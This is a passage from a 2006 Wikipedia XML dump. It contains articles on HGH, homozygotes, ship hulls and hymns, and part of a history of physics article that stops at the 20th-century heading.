[[Category:Classical genetics]]</text>
    </revision>
  </page>
  <page>
    <title>HGH</title>
    <id>13752</id>
    <revision>
      <id>36474831</id>
      <timestamp>2006-01-24T07:45:17Z</timestamp>
      <contributor>
        <ip>152.15.230.95</ip>
      </contributor>
      <text xml:space="preserve">The [[three-letter acronym]] '''HGH''' may refer to:

*[[Hangzhou Xiaoshan International Airport]], China - IATA airport code
*[[Human growth hormone]]
*[[HGH (band)]]

{{tla-dab}}</text>
    </revision>
  </page>
  <page>
    <title>Human growth hormone</title>
    <id>13753</id>
    <revision>
      <id>39299582</id>
      <timestamp>2006-02-12T04:41:33Z</timestamp>
      <contributor>
        <ip>69.113.104.47</ip>
      </contributor>
      <text xml:space="preserve">*For physiology of human growth hormone, see [[growth hormone]].
*For deficiency diseases, see [[growth hormone deficiency]].
*For diseases of GH excess, see [[acromegaly]] and [[gigantism]].
*For GH treatment, see [[growth hormone treatment]].
*For &quot;HGH&quot; products, black market use, nonmedical uses, and other GH-related nonsense promulgated on the internet, see [[HGH controversies]] and [[growth hormone treatment]].
*For IGF and IGF1 related information, see [[insulin-like growth factor 1]]. 

{{disambig}}

[[de:HGH (Band)]]</text>
    </revision>
  </page>
  <page>
    <title>Homozygote</title>
    <id>13754</id>
    <revision>
      <id>36272017</id>
      <timestamp>2006-01-22T22:24:08Z</timestamp>
      <contributor>
        <username>Elf</username>
        <id>40082</id>
      </contributor>
      <comment>translating to English</comment>
      <text xml:space="preserve">A '''homozygote's''' [[cell (biology)|cell]]s are [[diploid]] or [[polyploid]] and have the same [[allele]]s at a ''[[locus]]'' (position) on [[homologous chromosome]]s. When an organism is referred to as being '''homozygous''' for a specific gene, it means that it carries two identical copies of that gene for a given trait on the two corresponding [[chromosome]]s (e.g., the [[genotype]] is ''AA'' or ''aa''). Such a cell or such an organism is called a '''homozygote'''.

A '''homozygous dominant''' genotype occurs when a particular locus has two copies of the [[dominant gene|dominant]] allele (e.g., ''AA''). A '''homozygous recessive''' genotype occurs when a particular locus has two copies of the [[recessive gene|recessive]] allele (e.g., ''aa''). This occurs when both parents carry at least one copy of the allele.

In humans and many other animals it refers in particular to [[X-linked gene]]s in males who under usual circumstances have only one X chromosome and are homozygous for all genes that are located on the X-chromosome.

== See also ==
* [[heterozygote]]
* [[hemizygote]]

[[Category:Classical genetics]]

[[de:Homozygotie]]
[[et:Homosügootsus]]
[[es:Homocigoto]]
[[fr:Homozygote]]
[[he:הומוזיגוט]]
[[hu:Homozigóta]]
[[nl:Homozygoot]]
[[pl:Homozygota]]
[[fi:Homotsygootti]]</text>
    </revision>
  </page>
  <page>
    <title>Hull (watercraft)</title>
    <id>13755</id>
    <revision>
      <id>28322493</id>
      <timestamp>2005-11-14T19:01:01Z</timestamp>
      <contributor>
        <username>Eugene van der Pijll</username>
        <id>22016</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Spellcheck8|Spellcheck8]] to last version by YurikBot</comment>
      <text xml:space="preserve">A '''hull''' is the body or frame of a [[ship]] or [[boat]]. It is a central concept in [[water]] [[vessel]]s. The hull is essentially what keeps the water from entering the boat and acts as the [[wall]]s and [[floor]] of the vessel. 

Nearly all watercraft, from small [[boat]]s to the largest [[ship]]s adhere to one general class of hull shapes that serve the needs of stability and efficient propulsion, featuring 
* horizontal cross-sections that have narrow, usually pointed, fronts (at the bow), 
* smooth widening from the bow until roughly the middle (the beam), and often narrowing smoothly but usually significantly to the extreme end (the stern), whose width may range from a large to an insignificant fraction of the beam width), and
* characteristic vertical cross-sections perpendicular to the beam.
Such a cross section will usually feature 
* an open top on a small boat ([[kayak]]s being the most familar exceptions), or a level deck (with various superstructures) on large boats or on ships,
* below that level, possibly widening and/or narrowing to some extent, smoothly, down the relatively sharp bend called the &quot;knees&quot;, 
* below the knees, either having a relatively flat bottom or narrowing smoothly to an angled seam at the center, and
* usually featuring either a [[keel]] or retractable [[centerboard]] at that centerline, or retractable [[sideboard (boat)|sideboard]]s roughly vertical and close to the most vertical portion of the hull. 
Nevertheless, other general shapes are feasible; the [[coracle]] is a relatively extreme example, and many cargo barges, with all cross-sections close to rectangular, are a radical departure from both the coracle and the tapered hulls described above. Large ships have a [[bulbous bow]] to reduce effective [[drag (fluid mechanics)|drag]] and thus increase fuel efficiency.

Especially important in hulls constructed from materials that are denser than water, such as steel, the hull traps a volume of air that lowers the overall [[density]] of the vessel, providing [[buoyancy]] so it floats. Hulls constructed of materials that are less dense than water, such as some types of [[wood]], will float even when full of water, barring sufficient weight of heavier-than-water cargo and superstructure.

Hulls of the [[Stone Age|earliest design]] are thought to have each consisted of a hollowed out [[tree]] bole: in effect the first [[canoe]]s. Hull construction then proceeded to keeled hulls, use of [[ballast]], and on to modern double [[steel]] hulls with waterproof sections. 

In the case of new sailing-ship designs [[as of 2004]], hulls are often made of layers of foam and [[plastic]], forming [[composite material|composite]] hulls, with a minimum of weight. Variations on the single hull can be found with [[outrigger]]s, and [[multihull]] craft with at least one hull nested inside the outermost one.

Hull construction is usually performed in a [[dry dock]] or on a [[slipway]]. 

==See also==
*[[double hull]]

{{Sailing ship elements}}

[[Category:Ship construction]]
[[Category:Sailing ship elements]]

[[da:Skibsskrog]]
[[de:Schiffsrumpf]]
[[fr:Coque (bateau)]]
[[ja:船体]]
[[pl:Kadłub]]
[[pt:Casco (navio)]]
[[sv:Skrov]]</text>
    </revision>
  </page>
  <page>
    <title>Hymn</title>
    <id>13756</id>
    <revision>
      <id>41395302</id>
      <timestamp>2006-02-27T01:19:41Z</timestamp>
      <contributor>
        <ip>24.222.83.115</ip>
      </contributor>
      <comment>/* Christian tradition */</comment>
      <text xml:space="preserve">:''For other meanings see [[hymn (disambiguation)]]''

A '''hymn''' is a song specifically written as a [[song]] of praise, adoration or [[prayer]], typically addressed to a [[deity|god]]. 

A writer of hymns is known as a '''hymnist''' or '''hymnodist''', and the process of singing a hymn is called ''hymnody''; the same word is used for the collectivity of hymns belonging to a particular denomination or period (e.g. &quot;nineteenth century Methodist hymnody&quot; would mean the body of hymns written and/or used by Methodists in the nineteenth century).  Books called hymnals are collections of hymns, which may or may not include music.

Ancient hymns include the ''[[Great Hymn to the Aten]]'', composed by the [[pharaoh]] [[Akhenaten]], and the [[Veda]]s, a collection of hymns in the tradition of [[Hinduism]]. The Western tradition of hymnody begins with  the [[Homeric Hymns]], a collection of ancient Greek hymns, the oldest of which were written in the 7th century BCE  in praise of the gods of [[Greek mythology]].  

== Christian tradition ==

In [[Christianity|Christian]] religions, hymns are usually directed toward [[God]]. However, some hymns used by [[Roman Catholic Church|Roman Catholics]] and other communions may be to the [[Blessed Virgin Mary]] and sometimes to other [[saint]]s.  Most Christian worship services have, since the earliest times, incorporated the singing of hymns, either by the congregation or by a selected [[choir]], often accompanied by an [[Organ (music)|organ]].  

[[Thomas Aquinas]], in the introduction to his commentary on the Psalms, defined the Christian hymn thus: &quot;''Hymnus est laus Dei cum cantico; canticum autem exultatio mentis de aeternis habita, prorumpens in vocem''.&quot; (&quot;A hymn is the praise of God with song; a song is the exultation of the mind dwelling on eternal things, bursting forth in the voice.)

Since there is a lack of musical notation in early writings, the actual musical forms in the early church can only be surmised. During the Middle Ages a rich hymnody developed in the form of [[Gregorian chant]] or plainsong. This type was sung in unison, in one of eight [[Musical mode#Church modes|Church modes]], and most often by monastic choirs. While they were written originally in [[Latin]], many have been translated. A familiar hymn of this type is the 11th century plainsong ''Divinum Mysterium'', (although the words ''Of the Father's Love Begotten'' date back to around the 4th century), that is a common part of church Christmas repertoires in the English language.

The [[Protestant Reformation]] produced a burst of hymn writing and congregational singing. [[Martin Luther]] is notable not only as a reformer, but as the author of many hymns including ''A Mighty Fortress Is Our God'' which is sung today even in Roman Catholicism. Luther and his followers often used their hymns, or chorales, to teach tenets of the faith to worshipers. The earlier English writers tended to paraphrase bibical text, particularly [[Psalm]]s; [[Isaac Watts]] followed this tradition, but is also credited as having written the first English hymn which was not a direct paraphrase of Scripture. Later writers took even more freedom, some included [[allegory]] and [[metaphor]] in their texts. Four part harmony also became the norm, rather than unison singing.

[[Charles Wesley]]'s hymns spread Methodist [[theology]], not only within Methodism, but in most Protestant churches. He developed a new focus - expressing one's personal feelings in the relationship with God as well as the simple worship seen in older hymns. Wesley wrote:
:''Where shall my wondering soul begin?''
:''How shall I all to heaven aspire?''
:''A slave redeemed from death and sin,''
:''A brand plucked from eternal fire,''
:''How shall I equal triumphs raise,''
:''Or sing my great deliverer's praise.''

Wesley's contribution, along with the [[Second Great Awakening]] in [[United States|America]] led to a new style called gospel, and a new explosion of sacred music writing with [[Fanny Crosby]], [[Ira D. Sankey]], and others who produced testimonial music for revivals, camp meetings and evangelistic crusades.

[[African-American]]s developed a rich hymnody from [[spiritual (music)|spiritual]]s during times of slavery to the modern, lively black gospel style.

The [[Methodist Revival]] of the eighteenth century created an explosion of hymnwriting in [[Welsh language|Welsh]], which continued into the first half of the nineteenth century. The most prominent names among Welsh hymn-writers are [[William Williams]] of Pantycelyn and [[Ann Griffiths]]. The second half of the nineteenth century witnessed an explosion of hymntune composition and choir singing in [[Wales]].

Some Christians today are using Christian lyrics in the [[Contemporary Christian Music|rock music]] style although this often leads to some controversy between older and younger congregants.  This is not new; the Christian [[Contemporary Christian Music|pop music]] style began in the late 1960s and became very popular during the 1970s, as young hymnists sought ways in which to make the music of their religion relevant for their generation.

This long tradition has resulted in a rich lode of hymns.  Some modern churches include within hymnody, the traditional hymn (usually addressed to God), praise choruses (often sung scripture texts) and gospel (expressions of one's personal experience of God).   This distinction is not perfectly clear; and purists remove the second two types from the classification as hymns. It is a matter of debate, even sometimes within a single congregation, often between revivalist and traditionalist movements.

Some Christian hymnists and their more well known hymns are:
* [[Thomas Aquinas]] : ''[[Pange Lingua]]'', ''[[Verbum Supernum Prodiens]]''
* [[Thomas of Celano|Tommaso da Celano]] : ''[[Dies Irae|Dies Iræ]]''
* [[William Cowper]] : ''[[There Is a Fountain Filled with Blood]]''
* [[Fanny Crosby]] : ''[[Blessed Assurance]]'' and 8,000 others
* [[Paul Gerhardt]] : ''[[O Sacred Head, Sore Wounded]]''
* [[Martin Luther]] : ''[[A Mighty Fortress is Our God]]''
* [[John Newton]] : ''[[Amazing Grace]]''
* [[Dan Schutte]] : ''Here I Am, Lord''
* [[Joseph M. Scriv­en]] : ''What a Friend We Have in Jesus'
* [[Knowles Shaw]] : ''[[Bringing in the Sheaves]]'''
* [[Timothy Dudley-Smith]] : ''Tell Out My Soul''
* [[Eliza R. Snow]] : ''[[O My Father (hymn)|O My Father]]''
* [[Isaac Watts]] : ''[[When I Survey the Wondrous Cross]]'', ''[[Joy to the World]]''
* [[Charles Wesley]] : ''[[Christ the Lord Is Risen Today]]'', ''[[Hark, The Herald Angels Sing]]'',
:''[[Love Divine, All Loves Excelling]]'', ''[[O for a Thousand Tongues to Sing]]'', many others
* [[John Greenleaf Whittier]] : ''Dear Lord and Father of mankind''


Christian hymns, especially in more recent centuries, were often written in four-part vocal harmony.  Today, except for choirs and more musically inclined congregations, hymns are typically sung in unison.  In some cases complementary full settings for organ are also published, in others, organists and other accompiansts are expected to mentally transcribe the four-part vocal score for their instrument of choice.

===Hymn meters===
Following Isaac Watts it has been common for English hymnody to use a conventionally named [[meter (poetry)|poetic meters]] to pair lyrics with melodies. Those used the most often are:
*'''C.M.''' - Common Meter; a quatrain (four-line stanza) with alternating lines of iambic tetrameter and iambic trimeter, which rhymes in the second and fourth lines and sometimes in the first and third (8/6/8/6); also called Ballad Meter.
*'''C.P.M.''' - Common Particular Meter; a six-line stanza of which the first, second, fourth and fifth lines are iambic tetrameter, and the third and sixth lines are iambic trimeter (8/8/6/8/8/6).
*'''D.''' - Doubled; indicates an eight-line stanza instead of four, as in C.M.D. or D.C.M. - Common Meter Doubled or Doubled Common Meter, (8/6/8/6/8/6/8/6).
*'''H.M.''' - Hallelujah Meter; a six-line stanza of which the first four lines are trimeter and the last two are tetrameter, which rhymes most often in the second and fourth lines and the fifth and sixth lines (6/6/6/6/8/8).
*'''L.M.''' - Long Meter; a quatrain in iambic tetrameter, which rhymes in the second and fourth lines and often in the first and third (8/8/8/8).
*'''L.P.M.''' - Long Particular Meter; a six-line stanza of iambic tetrameter (8/8/8/8/8/8).
*'''M.T.''' (or '''12s.''') - Meter Twelves; a quatrain in anapestic hexameter (12/12/12/12).
*'''P.M.''' - may stand for Psalm Meter (more commonly known as 8s.7s), Particular Meter, or Peculiar Meter (each indicating poetry with its own peculiar, non-standard, meter).
*'''S.M.''' - Short Meter; iambic lines in the first, second, and fourth are in trimeter, and the third in tetrameter, which rhymes in the second and fourth lines and sometimes in the first and third (6/6/8/6).
*'''S.P.M.''' - Short Particular Meter; a six-line stanza of which the first, second, fourth and fifth lines are iambic trimeter, and the third and sixth lines are iambic tertameter (6/6/8/6/6/8).
*'''8s.''' - Eights; used to distinguish an eight syllable quatrain that does not contain the iambic stress pattern characteristic of ''Long Meter'' (8/8/8/8).
*'''8s.7s.''' - Eights and sevens; a trochaic quatrain with alternating lines of four feet and three and one-half feet, which rhymes in the second and fourth lines and sometimes in the first and third (8/7/8/7); also called Psalm Meter.
*'''7s.6s.''' - Sevens and sixes; a quatrain with alternating lines of three and one-half feet and three feet, which rhymes in the second and fourth lines and sometimes in the first and third (7/6/7/6).

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Amazing grace.ogg|title=Amazing Grace|description=[[Amazing Grace]], a common [[Meter (poetry)#Metrical_symbols|meter]] hymn from the Library of Congress' ''John and Ruby Lomax 1939 Southern States Recording Trip''; performed by Mr. and Mrs. N.V. Braley on May 5, 1939 at the home of Beal D. Taylor near [[Medina, Texas]]|format=[[Ogg]]}}
{{multi-listen item|filename=Amazing Grace-organ.ogg|title=Amazing Grace|description=[[Amazing Grace]], organ solo|format=[[Ogg]]}}
{{multi-listen item|filename=Woodworth.ogg|title=Just as I am|description=[[Just As I Am (hymn)|Just as I Am]], organ solo|format=[[Ogg]]}}
{{multi-listen item|filename=Toplady.ogg|title=Rock of Ages|description=[[Rock of Ages]], organ solo|format=[[Ogg]]}}
{{multi-listen item|filename=Eventide.ogg|title=Abide with Me|description=[[Abide with Me]], organ solo|format=[[Ogg]]}}
{{multi-listen item|filename=Ein' Feste Burg.ogg|title=Ein' Feste Burg sung in German|description=The [[German language|German]] text of ''Ein' Feste Burg'' (''A Mighty Fortress'') sung to its traditional melody|format=[[Ogg]]}}
{{multi-listen end}}

==See also==
*[[Carol (music)|Carol]]
*[[Chorale]]
*[[Doxology]]
*[[Metrical psalter]]
*[[Praise song]]
*[[Psalm]]
*[[Worship music]]

==External links==

* [http://www.anngriffiths.cardiff.ac.uk Ann Griffiths Website]
* [http://st-takla.org/Multimedia/_Multimedia-index.html Examples of Coptic Orthodox Music of Egypt at Saint Takla Haymanout the Ethiopian Church, Alexandria - Egypt]
* [http://myweb.hinet.net/home9/jacoblee/MID/HYMN/HYMNE.HTM Hymn] (hymn of [http://www.pct.org.tw/indexe.html Presbyterian Church in] [[Taiwan]], 1964 edition.
* [http://www.hymnsite.com/ HymnSite.com] (the [[United Methodist]] Hymnal online)
* [http://one.fsphost.com/cherokeehymns/ Hymns in Cherokee]
* [http://www.lds.org/cm LDS Church Music] (the [[Church of Jesus Christ of Latter-day Saints|LDS Church]] hymnal and children's music online)
* [http://www.midiforworship.com/ Online resource for Christian worship music]
* [http://www.cyberhymnal.org The Cyber Hymnal]
* [http://www.fasola.org]
* [http://www.merrysoul.com The Psalter] (Singing Biblical Hymns)
* [http://www.wikichristian.org/index.php?title=Christian_art%2C_literature_and_music Christian music lyrics and song information]

[[Category:Religious music]]
[[Category:Christian music]]
[[Category:Songs]]
[[Category:Song forms]]

[[da:Hymne]]
[[de:Geistliches Lied]]
[[es:Himno]]
[[eo:Himno]]
[[fr:Hymne]]
[[la:Hymnus]]
[[nl:Hymne]]
[[ja:賛美歌]]
[[pl:Hymn]]
[[ru:Гимн]]
[[fi:Virsi]]
[[sv:Hymn]]</text>
    </revision>
  </page>
  <page>
    <title>Hymnist</title>
    <id>13757</id>
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      <text xml:space="preserve">#REDIRECT [[Hymn]]
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  </page>
  <page>
    <title>History of physics</title>
    <id>13758</id>
    <revision>
      <id>41350792</id>
      <timestamp>2006-02-26T19:54:42Z</timestamp>
      <contributor>
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      <text xml:space="preserve">{{histOfScience}}

The growth of [[physics]] has brought not only fundamental changes in ideas about the [[nature|material world]], [[mathematics]] and [[philosophy]], but also, through [[technology]], a transformation of [[society]]. Physics is considered both a body of knowledge and the practice that makes and transmits it. The [[scientific revolution]], beginning about year [[1600]], is a convenient boundary between ancient thought and  classical physics. Year [[1900]] marks the beginnings of a more modern physics; today,  the [[science]] shows no sign of completion, as more issues are raised, with questions rising from the [[age of the universe]], to the nature of the [[vacuum]], to the ultimate nature of the properties of [[subatomic particle]]s. [[laws of physics|Partial theories]] are currently the best that physics has to offer, at the present time. The list of [[unsolved problems in physics]] is large; however,

:''&quot;Outside the nucleus, we seem to know it all.&quot;'' -- [[Richard Feynman]].

== Antiquity ==

Since antiquity, people have tried to understand the behavior of matter: why unsupported objects drop to the ground, why different materials have different properties, and so forth. Also a mystery was the character of the [[universe]], such as the form of the [[Earth]] and the behavior of celestial objects such as the [[Sun]] and the [[Moon]]. Several theories were proposed; most of them were wrong, but this is part of the nature of the scientific enterprise, and even modern theories of [[quantum mechanics]] and [[theory of relativity|relativity]] are merely considered &quot;theories that haven't broken yet&quot;. Physical theories in antiquity were largely couched in [[philosophy|philosophical]] terms, and rarely verified by systematic experimental testing.

=== Greek contributions to physics ===
Typically the behavior and nature of the world was explained by invoking the actions of [[gods]]. Around [[200 BC]], many [[Hellenic civilization|Greek]] philosophers began to propose that the world could be understood as the result 
of [[nature|natural]] [[process]]es. Many also challenged traditional ideas presented in mythology, such as the origin of the human species (anticipating the ideas of [[Charles Darwin]]), although this falls into the history of [[biology]], not physics. The [[atomism|atomist]]s attempted to characterize the nature of matter, which anticipated work in our present day.

Due to the absence of advanced experimental equipment such as [[telescope]]s and accurate time-keeping devices, experimental testing of many such ideas was impossible or impractical. There were exceptions and there are [[anachronism]]s: for example, the [[Hellenic civilization|Greek]] thinker [[Archimedes]] derived many correct quantitative descriptions of mechanics and also hydrostatics when, so the story goes, he noticed that his own body displaced a volume of water while he was getting into a bath one day. Another remarkable example was that of [[Eratosthenes]], who deduced that the [[Earth]] was a sphere, and accurately calculated its circumference using the shadows of vertical sticks to measure the angle between two widely separated points on the Earth's surface. Greek mathematicians also proposed calculating the volume of objects like [[sphere]]s and [[cone (solid)|cones]] by dividing them into very thin disks and adding up the volume of each disk - anticipating the invention of [[integral calculus]] by almost two millennia.

Modern knowledge of these early ideas in physics, and the extent to which they were experimentally tested, is sketchy. Almost all direct record of these ideas was lost when the [[Library of Alexandria]] was destroyed, around [[400]] AD. Perhaps the most remarkable idea we know of from this era was the deduction by [[Aristarchus of Samos]] that the Earth was a planet that traveled around the Sun once a year, and rotated on its axis once a day (accounting for the seasons and the cycle of day and night), and that the stars were other, very distant suns which also had their own accompanying planets (and possibly, lifeforms upon those planets). 

The discovery of the [[Antikythera mechanism]] points to a detailed understanding of movements of these astronomical objects, as well as a use of [[gear]]-trains that pre-dates any other known civilization's use of gears.

An early version of the steam engine, [[Hero of Alexandria|Hero]]'s [[aeolipile]] was only a curiosity which did not solve the problem of transforming its rotational energy into a more usable form, not even by gears. The [[Archimedes screw]] is still in use today, to lift water from rivers onto irrigated farmland. The simple machines were unremarked, with the exception (at least) of Archimedes' elegant proof of the law of the [[lever]]. Ramps were in use several millennia before Archimedes, to build the Pyramids.  

Regrettably, this period of inquiry into the nature of the world was eventually stifled by a tendency to accept the ideas of eminent philosophers, rather than to question and test those ideas. [[Pythagoras]] himself is said to have tried to suppress knowledge of the existence of [[irrational numbers]], discovered by his own school, because they did not fit his number mysticism. For one thousand years following the destruction of the [[Library of Alexandria]], [[Ptolemy]]'s (not to be confused with the [[Egyptian Ptolemies]]) model of an Earth-centred universe in which the [[planet]]s are assumed to each move in a small circle, called an '''[[epicycle]]''', which in turn moves along a larger circle called a '''[[deferent]]''', was accepted as absolute truth.

===Persian contributions to physics ===

Civilization eclipsed by the [[Roman Empire]], many Greek doctors began to practice medicine for the Roman elite, but sadly the physical sciences were not so well supported. Following the collapse of the Roman Empire, Europe saw a decline in interest in classical culture which some have called the [[Dark Ages]], though modern scholars do not use this phrase, and almost all scientific research ground to a halt. The rise of [[Christianity]] saw the suppression and destruction of most classical Greek philosophy (along with Greek and Roman art, literature and religious iconography) as heretical and pagan. In the Middle East, however, many Greek natural philosophers were able to find support for their work, and  scholars built upon previous work in astronomy and mathematics while developing such new fields as alchemy (chemistry).

After the [[Arab]]s conquered [[Persia]], scientists arose among the [[Persian people]].  They picked up the Greeks' learning, and helped to preserve it while it faded away in Europe.  A Persian scientist, possibly [[Mohammed al-Fazari]], invented the [[astrolabe]].  [[al-Khwarizmi]] gave his name to what we now call an [[algorithm]], and developed [[algebra]].

''See also, [[List of Iranian scientists and scholars]].''

=== Indian contributions to physics ===

Modern physics can hardly be imagined without a system of arithmetic in which simple calculation is easy enough to make large calulations even possible. The positional [[numeral system]] and the concept of [[0 (number)|zero]] were first developed in [[India]] and were adopted by the [[Islam]]ic empire.

=== The Middle Ages ===

In the [[12th century]], the birth of [[medieval university]] and the rediscovery of the works of ancient philosophers through contact with the [[Arab]]s, during the process of [[Reconquista]] and the [[Crusades]], started an intellectual revitalization of Europe.

By the [[13th century]], precursors of the modern [[scientific method]] can be seen already on [[Robert Grosseteste]]'s emphasis on [[mathematics]] as a way to understand nature and on the [[empiricism|empirical]] approach admired by [[Roger Bacon]].

The monk [[Roger Bacon]] conducted experiments into optics, although much of it was similar to what had been done and was being done at the time by Arab scholars. He did make a major contribution to the development of science in medieval Europe by writing to the [[Pope]] to encourage the study of natural science in university courses and compiling several volumes recording the state of scientific knowledge in many fields at the time.  He described the possible construction of a [[telescope]], but there is no strong evidence of his having made one.  He recorded the manner in which he conducted his experiments in precise detail so that others could reproduce and independently test his results - a cornerstone of the [[scientific method]], and a continuation of the work of researchers like [[Al Battani]].

In the [[14th century]], some scholars, such as [[Jean Buridan]] and [[Nicolas Oresme]], started to question the received wisdom of [[Aristotle]]'s mechanics. In particular, Buridan developed the theory of [[impetus]] which was the first step towards the modern concept of [[inertia]]. 

In his turn, Oresme showed that the reasons proposed by the physics of Aristotle against the movement of the earth were not valid and adduced the argument of simplicity for the theory that the earth moves, and ''not'' the heavens. In the whole of his argument in favor of the earth's motion Oresme is both more explicit and much clearer than that given two centuries latter by [[Copernicus]]. He was also the first to assume that color and light are of the same nature and the discoverer of the curvature of light through [[atmospheric refraction]]; even though, up to now, the credit for this latter achievement has been given to [[Hooke]].

Then came the [[Black Death]] of [[1348]], that sealed a sudden end to the previous period of philosophic development. The plague killed a third of the people in Europe. Recurrences of the plague and other disasters caused a continuing decline of population for a century.

In spite this halt, the [[15th century]] saw the artistic flourishing of the [[Renaissance]]. The rediscovery of ancient texts was improved when many [[Byzantine Empire|Byzantine]] scholars had to seek refuge in the West, after the [[fall of Constantinople]], in [[1453]]. Meanwhile, the invention of [[printing]] was to democratize learning and allow a faster propagation of new ideas. All that paved the way to the [[Scientific Revolution]], which may also be understood as a resume of the process of scientific change halted around the middle of the 14th century.

== The scientific revolution ==

The [[scientific revolution]] can be viewed as a flowering of the 
Renaissance and the portal to modern civilization. This was in part brought about by the re-discovery of those elements of ancient Greek, Indian, Chinese and Islamic culture preserved and further developed by Islam from the [[8th century|8th]] to the [[15th century|15th]] centuries, and translated by Christian Monks into Latin, such as the ''Almagest''.

It started with only a few researchers, evolving into an enterprise which continues to the present day. Starting with astronomy, the principles of natural philosophy crystallized into fundamental [[law of physics|laws of physics]] which were enunciated and improved in the succeeding centuries. By the 19th century, the sciences had segmented into multiple fields with specialized researchers and the field of physics, although logically pre-eminent, no longer could claim sole ownership of the entire field of scientific research.

=== 16th century ===

In the [[16th century]] [[Nicolaus Copernicus]] revived the [[heliocentric]] model of the [[solar system]] devised by [[Aristarchus of Samos]] (which survives primarily in a passing mention in [[the Sand Reckoner]] of [[Archimedes]]). When this model was published at the end of his life, it was with a preface by [[Andreas Osiander]] that piously represented it as only a mathematical convenience for calculating the positions of planets, and not an account of the true nature of the planetary orbits.

In England [[William Gilbert]] (1544-1603) studied [[magnetism]] and published a seminal work, ''De Magnete'' (1600), in which he thoroughly presented his numerous experimental results.

=== 17th century ===

In the early [[17th century]] [[Johannes Kepler]] formulated a model of the solar system based upon the five [[Platonic solid]]s, in an attempt to explain why the orbits of the planets had the relative sizes they did. His access to extremely accurate astronomical observations by [[Tycho Brahe]] enabled him to determine that his model was inconsistent with the observed orbits. After a heroic seven-year effort to more accurately model the motion 
of the planet [[Mars (planet)|Mars]] (during which he laid the foundations of modern [[integral calculus]]) he concluded that the planets follow not circular orbits, but [[ellipse|elliptical]] orbits with the Sun at one focus of the ellipse. This breakthrough overturned a millennium of dogma based on [[Ptolemy]]'s idea of &quot;perfect&quot; circular orbits for the &quot;perfect&quot; heavenly bodies. Kepler then went on to formulate his [[Laws of Kepler|three laws of planetary motion]]. He also proposed the first known model of planetary motion in which a force emanating from the Sun deflects the planets from their &quot;natural&quot; motion, causing them to follow curved orbits. 

During the early [[17th century]], [[Galileo Galilei]] pioneered the use of experiment to validate physical theories, which is the key idea in the [[scientific method]]. Galileo's use of experiment, and the insistence of Galileo and Kepler that observational results must always take precedence over theoretical results (in which they followed the precepts of [[Aristotle]] if not his practice), brushed away the acceptance of dogma, and gave birth to an era where scientific ideas were openly discussed and rigorously tested. Galileo formulated and successfully tested several results in [[dynamics (mechanics)|dynamics]], including the correct law of accelerated motion, the parabolic trajectory, the relativity of unaccelerated motion, and an early form of the Law of [[Inertia]]. 

In [[1687]], [[Isaac Newton]] published the ''[[Philosophiae Naturalis Principia Mathematica|Principia Mathematica]],'' detailing two comprehensive and successful physical theories: [[Newton's laws of motion]], from which arise [[classical mechanics]]; and [[gravity|Newton's Law of Gravitation]], which describes the [[fundamental force]] of [[gravity]]. Both theories agreed well with experiment. Classical mechanics would be exhaustively extended by [[Joseph-Louis de Lagrange]], [[William Rowan Hamilton]], and others, who produced new formulations, principles, and results. The Law of Gravitation initiated the field of [[astrophysics]], which describes [[astronomy|astronomical]] phenomena using physical theories.

=== 18th century ===

From the [[18th century]] onwards, [[thermodynamics|thermodynamic]] concepts were developed by [[Robert Boyle]], [[Thomas Young (scientist)|Thomas Young]], and many others, concurrently with the development of the steam engine, onward into the next century. In [[1733]], [[Daniel Bernoulli]] used statistical arguments with classical mechanics to derive thermodynamic results, initiating the field of [[statistical mechanics]]. [[Benjamin Franklin]] conducted his researches into the nature of [[electricity]] in [[1752]]. In [[1798]], [[Benjamin Thompson]] demonstrated the conversion of unlimited mechanical work into heat; it would take the work of [[James Prescott Joule]] to demonstrate the [[conservation of energy]] in the next century.

=== 19th century ===

In a letter to the [[Royal Society]] in [[1800]], [[Alessandro Volta]] described his invention of the [[Battery (electricity)|electric battery]], thus providing for the first time the means to generate a constant electric current, and opening up a new field of physics for investigation.

In [[1847]] [[James Prescott Joule]] stated the law of conservation of [[energy]], in the form of heat as well as mechanical energy. However, the principle of conservation of energy had been suggested or enunciated in various forms by perhaps a dozen German, French, British and other scientists during the first half of the 19th Century.

The behavior of [[electricity]] and [[magnetism]] was studied by [[Michael Faraday]], [[Georg Ohm]], and others. Faraday, who began his career in chemistry working under [[Humphry Davy]] at the Royal Institution, demonstrated that electrostatic phenomena, the action of the newly discovered electric pile or battery, electrochemical phenomena, and lightning were all different manifestations of electrical phenomena. Faraday further discovered in 1821 that electricity can cause rotational mechanical motion, and in 1831 discovered the principle of electromagnetic induction, by which means mechanical motion is converted into electricity. Thus it was Faraday who laid the foundations for both the [[electric motor]] and the [[electric generator]].

In [[1855]], [[James Clerk Maxwell]] unified the two phenomena into a single theory of [[electromagnetism]], described by [[Maxwell's equations]]. A prediction of this theory was that [[light]] is an [[electromagnetic radiation|electromagnetic wave]]. A more subtle part of Maxwell's deduction was that the observed speed of light does not depend on the speed of the observer, a premonition of the development of [[special relativity]] by [[Albert Einstein]].

With two installments in [[1876]] and [[1878]], [[Willard Gibbs|Josiah Willard Gibbs]] develops much of the theoretical formalism for [[thermodynamics]], and a decade later firmly lays the foundation for [[statistical mechanics]] &amp;mdash; this [[Ludwig Boltzmann]] had independently invented. 

In [[1887]] the [[Michelson-Morley experiment]] is conducted and it is interpreted as counter to the general held theory of the day, that the [[Earth]] was moving through a &quot;[[luminiferous aether]]&quot;. The development of what later became Einstein's [[Special relativity|Special Theory of Relativity]] provided a complete explanation which did not require an aether, and was consistent with the results of the experiment. [[Albert Abraham Michelson]] and [[Edward Morley]] are not convinced of the non-existence of the aether. Morely goes on to conduct experiments with [[Dayton Miller]].

In [[1887]], [[Nikola Tesla]] investigates [[X-ray]]s using his own devices as well as Crookes tubes. In [[1895]], [[Wilhelm Conrad Röntgen]] observes and analyses X-rays, which turned out to be high-frequency [[electromagnetic radiation]]. [[Radioactivity]] was discovered in [[1896]] by [[Henri Becquerel]], and further studied by the [[Pierre Curie|Pierre]] and [[Maria Sklodowska-Curie|Marie Curie]] and others. This initiated the field of [[nuclear physics]].

In [[1897]], [[J.J. Thomson]] studies the [[electron]], the elementary particle which carries electrical current in circuits. He deduces that [[cathode ray tube|cathode ray]]s existed and were negatively charged &quot;''particles''&quot;, which he called &quot;''corpuscles''&quot;.

=== 20th century ===

